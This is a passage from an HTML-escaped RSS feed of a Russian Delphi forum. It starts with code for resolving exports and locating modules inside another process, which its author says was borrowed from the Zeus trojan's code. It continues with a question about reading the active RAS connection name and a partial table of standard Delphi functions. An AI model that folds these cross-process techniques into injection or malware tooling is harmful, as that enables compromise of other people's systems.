/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtReadVirtualMemory(ProcessHandle, FunctionAddress, ForwardedExport, MAX_PATH, @ReturnLength&amp;#41;=STATUS_SUCCESS&amp;#41;and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(MemoryIsString(ForwardedExport, (ALength(ForwardedExport&amp;#41;-1&amp;#41;&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FwdPos:=Pos(Char($2E&amp;#41;, ForwardedExport&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FwdPos&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FwdLibName:=ForwardedExport; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FwdLibName&amp;#91;FwdPos-1]:=#0; // Отделяем имя библиотеки от имени функции. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=NativeGetProcAddressEx(ProcessHandle, (GetModuleHandleInProcess(ProcessHandle, FwdLibName&amp;#41;&amp;#41;, ForwardedExport+FwdPos&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMemory(ForwardedExport&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=FunctionAddress; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt; И в качестве приза функция для поиска адреса загрузки модулей в процессах (Реализацию подсмотрел в коде Zeus&apos;а) &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerZ0g2kc&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerZ0g2kc&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZ0g2kc&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZ0g2kc&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerZ0g2kc&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerZ0g2kc&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerZ0g2kc&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerZ0g2kc&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerZ0g2kc&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function GetModuleHandleInProcess(hProcess: THandle; ModuleName: PAnsiChar&amp;#41;: Cardinal; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFileName: PChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TestModule: HMODULE; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Modules: array of HMODULE; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I, NeededSize, ModulesCount: DWORD; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if EnumProcessModules(hProcess, @TestModule, (SizeOf(TestModule&amp;#41;&amp;#41;, NeededSize&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ModulesCount:=NeededSize div (SizeOf(HMODULE&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetLength(Modules, ModulesCount&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if EnumProcessModules(hProcess, (Pointer(Modules&amp;#41;&amp;#41;, NeededSize, NeededSize&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFileName:=(GetMemory(MAX_PATH&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Assigned(pFileName&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(pFileName, MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for I:=0 to ModulesCount do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetModuleFileNameEx(hProcess, Modules&amp;#91;I], pFileName, MAX_PATH&amp;#41;=0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Continue &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else if StrCmp(LowerCase(PChar(ExtractOnlyFileName(pFileName&amp;#41;&amp;#41;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(LowerCase(PChar(ExtractOnlyFileName(ModuleName&amp;#41;&amp;#41;&amp;#41;&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=Modules&amp;#91;I]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMemory(pFileName&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt; Остальные функции делайте сами &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; (Для справки: функция ExtractOnlyFileName извлекает из пути файла только имя файла без расширения. Сделано это для того, чтобы искать модули по не полным именам, как это делает GetModuleHandle). &lt;br /&gt; &lt;span style=&quot;color:red&quot;&gt;&amp;copy; &lt;u&gt;By Wolk-1024.&lt;/u&gt;&lt;/span&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Волк-1024</dc:creator>
<guid>https://delfcode.ru/forum/22-847-1</guid>
</item>
<item>
<title>Кто подскажет?</title>
<link>https://delfcode.ru/forum/22-982-1</link>
<pubDate>Wed, 09 Jan 2013 16:42:53 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Кто покажет?&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Всем доброго здоровьица &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; столкнулся с такой задачей - получить имя активного сетевого подключения, да же готовую функцию удалось отыскать, кстати вот она: &lt;br /&gt;&lt;br /&gt; Определение активного подключения &lt;br /&gt;&lt;br /&gt; Возвращает название активного интернет-соединения &lt;br /&gt;&lt;br /&gt; Зависимости: RAS &lt;br /&gt; Автор: некий Ajax &lt;br /&gt; Copyright: Ajax &lt;br /&gt; Дата: 27 мая 2002 г. &lt;br /&gt; ***************************************************** &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function CheckRASConnections: string; &lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MaxEntries = 100; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BufSize: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NumEntries: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Entries: array&amp;#91;1..MaxEntries] of TRasConn; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Entries&amp;#91;1].dwSize := SizeOf(TRasConn&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bufsize := SizeOf(TRasConn&amp;#41; * MaxEntries; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RasEnumConnections(@Entries&amp;#91;1], BufSize, NumEntries&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if numentries &gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := strpas(@Entries&amp;#91;1].szEntryName&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;Disconnected&apos;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; //Пример использования: &lt;br /&gt;&lt;br /&gt; ShowMessage(CheckRASConnections&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; но к сожалению мне не удалось отыскать нужный &quot;TRasConn&quot; модуль, да и в uses как видно ничего не указано, собственно кто встречал такой, или может быть у кого то он есть, выложите пожалуйста.</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/22-982-1</guid>
</item>
<item>
<title>Основные функции в Delphi</title>
<link>https://delfcode.ru/forum/22-51-1</link>
<pubDate>Fri, 04 Jan 2013 17:13:16 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: functions&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 12</description>
<content:encoded>&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerPFsF5v&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerPFsF5v&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerPFsF5v&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerPFsF5v&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerPFsF5v&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerPFsF5v&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerPFsF5v&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerPFsF5v&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerPFsF5v&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;System 	 	Abs 	 	Предназначена для получения абсолютной величины числа (модуль) &lt;br /&gt; System 	 	Addr 	 	Возвращает адрес переменной, функции или процедуры &lt;br /&gt; SysUtils 	 	AnsiCompareStr 	 	Сравнение двух строк на равенство &lt;br /&gt; SysUtils 	 	AnsiCompareText 	 	Сравнение двух строк на равенство &lt;br /&gt; StrUtils 	 	AnsiContainsStr 	 	Возвращается истина, если строка содержит подстроку &lt;br /&gt; StrUtils 	 	AnsiEndsStr 	 	Возвращется истина, если строка заканчивается подстрокой &lt;br /&gt; StrUtils 	 	AnsiIndexStr 	 	Сравнивает строку со списком строк, возвращает соответствующий индекс &lt;br /&gt; StrUtils 	 	AnsiLeftStr 	 	Извлечённые символы слевой стороны строки &lt;br /&gt; SysUtils 	 	AnsiLowerCase 	 	Символы верхнего регистра изменяются в строку со строчными буквамм &lt;br /&gt; StrUtils 	 	AnsiMatchStr 	 	Возвращается истина, если строка точно соответствует какой-либо строке из списка &lt;br /&gt; StrUtils 	 	AnsiMidStr 	 	Возвращает подстроку из средних символов строки &lt;br /&gt; SysUtils 	 	AnsiPos 	 	Находит позицию одной строки в другой &lt;br /&gt; StrUtils 	 	AnsiReplaceStr 	 	Заменяет часть одной строки другой &lt;br /&gt; StrUtils 	 	AnsiReverseString 	 	Переворачивает последовательность символов в строке &lt;br /&gt; StrUtils 	 	AnsiRightStr 	 	Извлечение символов с правой стороны строки &lt;br /&gt; StrUtils 	 	AnsiStartsStr 	 	Возвращается истина, строка начинается подстрокой &lt;br /&gt; StrUtils 	 	AnsiUpperCase 	 	Символы нижнего регистра изменяются на символы верхнего регистра &lt;br /&gt; Math 	 	ArcCos 	 	Арккосинус числа, возвращается в радианах &lt;br /&gt; Math 	 	ArcSin 	 	Арксинус числа, возвращается в радианах &lt;br /&gt; System 	 	ArcTan 	 	Арктангенс числа, возвращается в радианах &lt;br /&gt; System 	 	Assigned 	 	Осуществляет проверку функциональности указателей, объектов, методов &lt;br /&gt; System 	 	BeginThread 	 	Начинает отдельный поток выполнения кода &lt;br /&gt; Classes 	 	Bounds 	 	Передаёт координаты вершин объекта типа TRect (прямоугольник) &lt;br /&gt; StdConvs 	 	CelsiusToFahrenheit 	 	Конвертирует значение температуры из Цельсия в Фаренгейта &lt;br /&gt; SysUtils 	 	ChangeFileExt 	 	